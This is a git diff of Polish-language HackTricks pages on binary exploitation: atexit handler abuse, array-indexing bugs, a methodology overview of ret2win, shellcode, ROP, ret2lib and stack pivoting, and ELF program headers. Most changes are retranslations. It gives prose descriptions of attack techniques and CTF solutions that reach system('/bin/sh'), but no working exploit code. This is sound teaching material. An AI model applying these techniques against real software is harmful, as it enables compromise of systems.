|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -6,23 +6,23 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## **\_\_Struktury atexit()**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Obecnie jest bardzo **dziwne, aby to wykorzystać**.
|
||||
Obecnie jest bardzo **dziwne, aby to wykorzystać!**
|
||||
{% endhint %}
|
||||
|
||||
**`atexit()`** to funkcja, do której **inne funkcje są przekazywane jako parametry.** Te **funkcje** zostaną **wykonane** podczas wykonywania **`exit()`** lub **powrotu** z **main**.\
|
||||
Jeśli możesz **zmodyfikować** **adres** którejkolwiek z tych **funkcji**, aby wskazywał na kod powłoki na przykład, zdobędziesz kontrolę nad **procesem**, ale obecnie jest to bardziej skomplikowane.\
|
||||
Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adres, do którego wskazują, nie są adresami funkcji, ale są **zaszyfrowane za pomocą XOR** i przesunięć z **losowym kluczem**. Obecnie ten wektor ataku **nie jest zbyt przydatny przynajmniej na x86** i **x64\_86**.\
|
||||
Jeśli możesz **zmodyfikować** **adres** którejkolwiek z tych **funkcji**, aby wskazywał na shellcode na przykład, zdobędziesz kontrolę nad **procesem**, ale obecnie jest to bardziej skomplikowane.\
|
||||
Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adres, do którego wskazują, nie są adresami funkcji, ale są **zaszyfrowane za pomocą XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku **nie jest bardzo przydatny przynajmniej na x86** i **x64\_86**.\
|
||||
Funkcja **szyfrowania** to **`PTR_MANGLE`**. **Inne architektury** takie jak m68k, mips32, mips64, aarch64, arm, hppa... **nie implementują funkcji szyfrowania**, ponieważ **zwracają to samo**, co otrzymały jako wejście. Dlatego te architektury mogą być podatne na ten wektor ataku.
|
||||
|
||||
Możesz znaleźć dogłębne wyjaśnienie, jak to działa na [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
|
||||
|
|
@ -33,10 +33,10 @@ Możesz znaleźć dogłębne wyjaśnienie, jak to działa na [https://m101.githu
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -18,13 +18,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
Ta kategoria obejmuje wszystkie podatności, które występują, ponieważ możliwe jest nadpisanie pewnych danych poprzez błędy w obsłudze indeksów w tablicach. Jest to bardzo szeroka kategoria bez konkretnej metodyki, ponieważ mechanizm eksploatacji zależy całkowicie od warunków podatności.
|
||||
|
||||
Jednakże można znaleźć kilka przykładów:
|
||||
Jednakże, tutaj znajdziesz kilka **przykładów**:
|
||||
|
||||
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
|
||||
* Istnieją **2 kolidujące tablice**, jedna dla **adresów**, w których przechowywane są dane, a druga z **rozmiarami** tych danych. Możliwe jest nadpisanie jednej z drugą, umożliwiając zapisanie dowolnego adresu wskazującego na rozmiar. Pozwala to zapisać adres funkcji `free` w tabeli GOT, a następnie nadpisać go adresem do `system`, i wywołać free z pamięci zawierającej `/bin/sh`.
|
||||
* Istnieją **2 kolidujące tablice**, jedna dla **adresów**, gdzie przechowywane są dane, a druga z **rozmiarami** tych danych. Możliwe jest nadpisanie jednego drugim, umożliwiając zapisanie dowolnego adresu wskazującego na rozmiar. Pozwala to zapisać adres funkcji `free` w tabeli GOT, a następnie nadpisać go adresem do `system`, i wywołać free z pamięci zawierającej `/bin/sh`.
|
||||
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
|
||||
* 64 bity, brak nx. Nadpisz rozmiar, aby uzyskać rodzaj przepełnienia bufora, gdzie wszystko będzie używane jako liczba podwójna i posortowane od najmniejszej do największej, dlatego konieczne jest stworzenie shellcode, który spełnia to wymaganie, biorąc pod uwagę, że canary nie powinien być przesunięty z swojej pozycji, a następnie nadpisując RIP adresem do ret, który spełnia wcześniejsze wymagania i umieszczając największy adres nowego adresu wskazującego na początek stosu (wyciekający przez program), dzięki czemu możliwe jest użycie ret do skoku tam.
|
||||
* 64 bity, brak nx. Nadpisz rozmiar, aby uzyskać rodzaj przepełnienia bufora, gdzie wszystko będzie używane jako liczba podwójna i posortowane od najmniejszej do największej, więc konieczne jest stworzenie shellcode, który spełnia to wymaganie, biorąc pod uwagę, że canary nie powinien być przesunięty z jego pozycji, a następnie nadpisując RIP adresem do ret, który spełnia poprzednie wymagania i umieszczając największy adres nowy adres wskazujący na początek stosu (wyciekający przez program), dzięki czemu możliwe jest użycie ret do skoku tam.
|
||||
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
* 64 bity, brak relro, canary, nx, brak pie. Istnieje off-by-one w tablicy na stosie, który pozwala kontrolować wskaźnik przyznający WWW (zapisuje sumę wszystkich liczb z tablicy w nadpisanym adresie przez off-by-one w tablicy). Stos jest kontrolowany, więc adres `exit` w GOT jest nadpisywany przez `pop rdi; ret`, a na stosie dodawany jest adres do `main` (powrót do `main`). Następnie używany jest łańcuch ROP do wycieku adresu put w GOT za pomocą puts (`exit` zostanie wywołane, więc wywoła `pop rdi; ret`, wykonując ten łańcuch na stosie). Na koniec używany jest nowy łańcuch ROP wykonujący ret2lib.
|
||||
* 64 bity, brak relro, canary, nx, brak pie. Istnieje off-by-one w tablicy na stosie, który pozwala kontrolować wskaźnik przyznający WWW (zapisuje sumę wszystkich liczb z tablicy w nadpisanym adresie przez off-by-one w tablicy). Stos jest kontrolowany, więc adres `exit` w GOT jest nadpisywany przez `pop rdi; ret`, a na stosie dodany jest adres do `main` (powrót do `main`). Następnie używany jest łańcuch ROP do wycieku adresu put w GOT za pomocą puts (`exit` zostanie wywołane, więc wywoła `pop rdi; ret`, wykonując ten łańcuch na stosie). Na koniec używany jest nowy łańcuch ROP wykonujący ret2lib.
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||
* 32 bity, brak relro, brak canary, nx, pie. Wykorzystaj złe indeksowanie do wycieku adresów libc i sterty ze stosu. Wykorzystaj przepełnienie bufora do wykonania ret2lib wywołującego `system('/bin/sh')` (adres sterty jest potrzebny do obejścia sprawdzenia).
|
||||
* 32 bity, brak relro, brak canary, nx, pie. Wykorzystaj złe indeksowanie do wycieku adresów libc i sterty ze stosu. Wykorzystaj przepełnienie bufora do wykonania ret2lib wywołującego `system('/bin/sh')` (adres sterty jest potrzebny do ominięcia sprawdzenia).
|
||||
|
|
|
|||
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe Informacje o ELF
|
||||
|
||||
Zanim zaczniesz eksploatować cokolwiek, warto zrozumieć część struktury binarnego ELF:
|
||||
Zanim zaczniesz eksploatować cokolwiek, warto zrozumieć część struktury **binarnego pliku ELF**:
|
||||
|
||||
{% content-ref url="elf-tricks.md" %}
|
||||
[elf-tricks.md](elf-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Narzędzia Eksploatacyjne
|
||||
## Narzędzia Eksploatacji
|
||||
|
||||
{% content-ref url="tools/" %}
|
||||
[narzędzia](tools/)
|
||||
|
|
@ -37,12 +37,12 @@ Z tak wieloma technikami dobrze jest mieć schemat, kiedy każda technika będzi
|
|||
Istnieje kilka sposobów, w jaki można kontrolować przepływ programu:
|
||||
|
||||
* [**Przepełnienia Stosu**](../stack-overflow/) nadpisywanie wskaźnika powrotu ze stosu lub EBP -> ESP -> EIP.
|
||||
* Może być konieczne nadużycie [**Przepełnień Liczb Całkowitych**](../integer-overflow.md), aby spowodować przepełnienie
|
||||
* Lub za pomocą **Arbitrary Writes + Write What Where to Execution**
|
||||
* [**Formatowanie łańcuchów**](../format-strings/)**:** Nadużyj `printf`, aby zapisać dowolne treści pod dowolnymi adresami.
|
||||
* [**Indeksowanie Tablic**](../array-indexing.md): Nadużyj źle zaprojektowane indeksowanie, aby móc kontrolować niektóre tablice i uzyskać dowolny zapis.
|
||||
* Może być konieczne nadużycie [**Przepełnień Liczb Całkowitych**](../integer-overflow.md), aby spowodować przepełnienie
|
||||
* **bof to WWW via ROP**: Nadużyj przepełnienie bufora, aby skonstruować ROP i móc uzyskać WWW.
|
||||
* Być może trzeba wykorzystać [**Przepełnienia Liczb Całkowitych**](../integer-overflow.md), aby spowodować przepełnienie.
|
||||
* Lub poprzez **Arbitrary Writes + Write What Where to Execution**
|
||||
* [**Formatowanie łańcuchów**](../format-strings/)**:** Wykorzystanie `printf` do zapisywania dowolnej zawartości pod dowolnymi adresami.
|
||||
* [**Indeksowanie Tablic**](../array-indexing.md): Wykorzystanie źle zaprojektowanego indeksowania, aby móc kontrolować niektóre tablice i uzyskać dowolny zapis.
|
||||
* Być może trzeba wykorzystać [**Przepełnienia Liczb Całkowitych**](../integer-overflow.md), aby spowodować przepełnienie
|
||||
* **bof to WWW via ROP**: Wykorzystanie przepełnienia bufora do skonstruowania ROP i uzyskania WWW.
|
||||
|
||||
Techniki **Write What Where to Execution** można znaleźć w:
|
||||
|
||||
|
|
@ -52,11 +52,11 @@ Techniki **Write What Where to Execution** można znaleźć w:
|
|||
|
||||
## Wieczne Pętle
|
||||
|
||||
Co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja podatności może nie wystarczyć**, aby wykonać udany atak, zwłaszcza gdy trzeba ominąć pewne zabezpieczenia. Dlatego ważne jest omówienie kilku opcji, aby **zrobić jedną podatność eksploatowalną kilka razy** w tym samym wykonaniu binarnym:
|
||||
Warto wziąć pod uwagę, że zazwyczaj **jedna eksploatacja podatności może nie wystarczyć** do wykonania udanego ataku, zwłaszcza gdy trzeba ominąć pewne zabezpieczenia. Dlatego interesujące jest omówienie kilku opcji, aby **umożliwić wielokrotne wykorzystanie jednej podatności** w tym samym wykonaniu binarnego pliku:
|
||||
|
||||
* Zapisz w łańcuchu **ROP** adres funkcji **`main`** lub adres, gdzie występuje **podatność**.
|
||||
* Kontrolując odpowiedni łańcuch ROP, możesz wykonać wszystkie działania w tym łańcuchu.
|
||||
* Zapisz adres **`exit` w GOT** (lub dowolnej innej funkcji używanej przez binarny przed zakończeniem) adresu powrotu do **powrotu do podatności**.
|
||||
* Kontrolując odpowiedni łańcuch ROP, możesz wykonać wszystkie akcje w tym łańcuchu.
|
||||
* Zapisz adres **`exit` w GOT** (lub dowolnej innej funkcji używanej przez binarny plik przed zakończeniem) adres, aby wrócić **do podatności**.
|
||||
* Jak wyjaśniono w [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** przechowuj tutaj 2 funkcje, jedną do ponownego wywołania podatności i drugą do wywołania**`__libc_csu_fini`**, która ponownie wywoła funkcję z `.fini_array`.
|
||||
|
||||
## Cele Eksploatacji
|
||||
|
|
@ -69,39 +69,40 @@ Co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja podatności
|
|||
* W przypadku przepełnienia bufora z [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), będziesz musiał je ominąć.
|
||||
* Jeśli musisz ustawić kilka parametrów, aby poprawnie wywołać funkcję **ret2win**, możesz użyć:
|
||||
* Łańcucha [**ROP**](./#rop-and-ret2...-techniques) **jeśli jest wystarczająco dużo gadżetów**, aby przygotować wszystkie parametry
|
||||
* [**SROP**](../rop-return-oriented-programing/ret2esp-ret2reg/srop-sigreturn-oriented-programming.md) (jeśli można wywołać ten syscall) do kontrolowania wielu rejestrów
|
||||
* Gadżetów z [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) do kontrolowania kilku rejestrów
|
||||
* Za pomocą [**Write What Where**](../arbitrary-write-2-exec/) można nadużyć inne podatności (nie bof), aby wywołać funkcję **`win`**.
|
||||
* [**Przekierowywanie Wskaźników**](../stack-overflow/pointer-redirecting.md): W przypadku, gdy stos zawiera wskaźniki do funkcji, która ma zostać wywołana lub do ciągu znaków, który ma zostać użyty przez interesującą funkcję (system lub printf), można nadpisać ten adres.
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (jeśli można wywołać ten syscall) do kontrolowania wielu rejestrów
|
||||
* Gadżetów z [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) i [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) do kontrolowania kilku rejestrów
|
||||
* Poprzez [**Write What Where**](../arbitrary-write-2-exec/) można wykorzystać inne podatności (nie bof), aby wywołać funkcję **`win`**.
|
||||
* [**Przekierowywanie Wskaźników**](../stack-overflow/pointer-redirecting.md): W przypadku, gdy stos zawiera wskaźniki do funkcji, która ma zostać wywołana lub do ciągu znaków, który ma być użyty przez interesującą funkcję (system lub printf), można nadpisać ten adres.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) lub [**PIE**](../common-binary-protections-and-bypasses/pie/) mogą wpłynąć na adresy.
|
||||
* [**Nie zainicjowane zmienne**](../stack-overflow/uninitialized-variables.md): Nigdy nie wiesz.
|
||||
|
||||
### Cel: RCE
|
||||
|
||||
#### Za pomocą kodu powłoki, jeśli nx jest wyłączone lub łączenie kodu powłoki z ROP:
|
||||
#### Poprzez shellcode, jeśli nx jest wyłączone lub łączenie shellcode z ROP:
|
||||
|
||||
* [**(Stack) Kod Powłoki**](./#stack-shellcode): Jest to przydatne do przechowywania kodu powłoki na stosie przed lub po nadpisaniu wskaźnika powrotu, a następnie **skok do niego** w celu wykonania:
|
||||
* **W każdym przypadku, jeśli jest** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), w zwykłym przepełnieniu bufora będziesz musiał je ominąć (wyciek).
|
||||
* **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) możliwe jest skok do adresu stosu, ponieważ nigdy się nie zmieni
|
||||
* **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będziesz musiał użyć technik takich jak [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg/) do skoku do niego
|
||||
* **Z** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), będziesz musiał użyć pewnego [**ROP**](../rop-return-oriented-programing/) **do wywołania `memprotect`** i uczynienia pewnej strony `rwx`, aby następnie **przechować tam kod powłoki** (wywołując na przykład read) i potem skoczyć tam.
|
||||
* To połączy kod powłoki z łańcuchem ROP.
|
||||
* [**(Stack) Shellcode**](./#stack-shellcode): Jest to przydatne do przechowywania shellcode'u na stosie przed lub po nadpisaniu wskaźnika powrotu, a następnie **skok do niego** w celu wykonania:
|
||||
* **W każdym przypadku, jeśli jest** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), w zwykłym przepełnieniu bufora trzeba go ominąć (wyciek).
|
||||
* **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) można skoczyć pod adres stosu, ponieważ nie zmieni się on nigdy
|
||||
* **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będziesz musiał użyć technik takich jak [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), aby skoczyć do niego
|
||||
* **Z** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), będziesz musiał użyć pewnego [**ROP**](../rop-return-oriented-programing/) **do wywołania `memprotect`** i uczynienia pewnej strony `rwx`, aby następnie **przechować tam shellcode** (wywołując na przykład read) i potem skoczyć tam.
|
||||
* To połączy shellcode z łańcuchem ROP.
|
||||
#### Za pomocą wywołań systemowych
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): Przydatne do wywołania `execve` w celu uruchomienia dowolnych poleceń. Musisz być w stanie znaleźć **gadżety do wywołania określonego wywołania systemowego z parametrami**.
|
||||
* Jeśli są włączone [**ASLR**](../common-binary-protections-and-bypasses/aslr/) lub [**PIE**](../common-binary-protections-and-bypasses/pie/), będziesz musiał je pokonać, **aby użyć gadżetów ROP** z binariów lub bibliotek.
|
||||
* [**SROP**](../rop-return-oriented-programing/ret2esp-ret2reg/srop-sigreturn-oriented-programming.md) może być przydatne do przygotowania **ret2execve**
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) może być przydatne do przygotowania **ret2execve**.
|
||||
* Gadżety z [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) i [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) do kontrolowania kilku rejestrów
|
||||
|
||||
#### Za pomocą biblioteki libc
|
||||
#### Za pomocą libc
|
||||
|
||||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Przydatne do wywołania funkcji z biblioteki (zazwyczaj z **`libc`**) jak **`system`** z przygotowanymi argumentami (np. `'/bin/sh'`). Potrzebujesz, aby binarny **załadował bibliotekę** z funkcją, którą chcesz wywołać (zazwyczaj libc).
|
||||
* Jeśli jest **skompilowany statycznie i brak** [**PIE**](../common-binary-protections-and-bypasses/pie/), **adres** `system` i `/bin/sh` nie zmienią się, więc można ich użyć statycznie.
|
||||
* **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i znajomości wersji libc** załadowanej, **adres** `system` i `/bin/sh` nie zmienią się, więc można ich użyć statycznie.
|
||||
* Jeśli jest **skompilowany statycznie i nie ma** [**PIE**](../common-binary-protections-and-bypasses/pie/), **adres** `system` i `/bin/sh` nie zmienią się, więc można ich użyć statycznie.
|
||||
* **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i znając wersję libc** załadowaną, **adres** `system` i `/bin/sh` nie zmienią się, więc można ich użyć statycznie.
|
||||
* Z [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ale bez** [**PIE**](../common-binary-protections-and-bypasses/pie/), znając libc i z binarnym używającym funkcji `system`, można **`ret` do adresu systemu w GOT** z adresem `'/bin/sh'` w parametrze (trzeba to ustalić).
|
||||
* Z [ASLR](../common-binary-protections-and-bypasses/aslr/) ale bez [PIE](../common-binary-protections-and-bypasses/pie/), znając libc i **bez użycia binarnego `system`**:
|
||||
* Użyj [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) do rozwiązania adresu `system` i jego wywołania 
|
||||
* **Ominięcie** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) i obliczenie adresu `system` i `'/bin/sh'` w pamięci.
|
||||
* **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**PIE**](../common-binary-protections-and-bypasses/pie/) **i brakiem znajomości libc**: Musisz:
|
||||
* **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**PIE**](../common-binary-protections-and-bypasses/pie/) **i nie znając wersji libc**: Musisz:
|
||||
* Ominąć [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
||||
* Znaleźć używaną **wersję libc** (wyciek kilku adresów funkcji)
|
||||
* Sprawdź **poprzednie scenariusze z ASLR**, aby kontynuować.
|
||||
|
|
@ -109,7 +110,7 @@ Co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja podatności
|
|||
#### Za pomocą EBP/RBP
|
||||
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontroluj ESP, aby kontrolować RET poprzez przechowywane EBP na stosie.
|
||||
* Przydatne dla przepełnień stosu **off-by-one**
|
||||
* Przydatne do przepełnień stosu **off-by-one**
|
||||
* Przydatne jako alternatywny sposób na kontrolowanie EIP, wykorzystując EIP do konstruowania ładunku w pamięci, a następnie skakania do niego za pomocą EBP
|
||||
|
||||
#### Różne
|
||||
|
|
|
|||
|
|
@ -1,10 +1,10 @@
|
|||
# Triki ELF
|
||||
# Informacje podstawowe o ELF
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
## Nagłówki Programu
|
||||
## Nagłówki programu
|
||||
|
||||
Opisują loaderowi, jak załadować ELF do pamięci:
|
||||
Opisują one loaderowi, jak załadować **ELF** do pamięci:
|
||||
```bash
|
||||
readelf -lW lnstat
|
||||
|
||||
|
|
@ -49,24 +49,24 @@ Segment Sections...
|
|||
```
|
||||
Poprzedni program ma **9 nagłówków programu**, następnie **mapowanie segmentów** wskazuje, w którym nagłówku programu (od 00 do 08) **znajduje się każda sekcja**.
|
||||
|
||||
### PHDR - Nagłówek Programu
|
||||
### PHDR - Nagłówek programu
|
||||
|
||||
Zawiera tabele nagłówków programu oraz same metadane.
|
||||
Zawiera tabele nagłówków programów oraz same metadane.
